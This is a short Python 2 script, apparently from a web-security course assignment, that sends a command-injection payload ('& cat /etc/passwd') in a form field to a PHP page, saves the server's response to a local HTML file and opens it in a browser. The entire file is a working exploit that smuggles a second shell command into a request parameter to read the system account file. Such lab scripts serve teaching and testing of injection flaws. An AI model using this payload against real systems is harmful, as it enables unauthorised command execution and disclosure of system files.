import urllib, urllib2, webbrowser

url = 'http://www.wsb.com/Assignment2/case08.php'
values = dict(ip_url = '& cat /etc/passwd')
data = urllib.urlencode(values)

req = urllib2.Request(url, data)
rsp = urllib2.urlopen(req)

with open('results.html', 'w') as f:
	f.write(rsp.read())

new = 2
webbrowser.open('results.html', new=new)

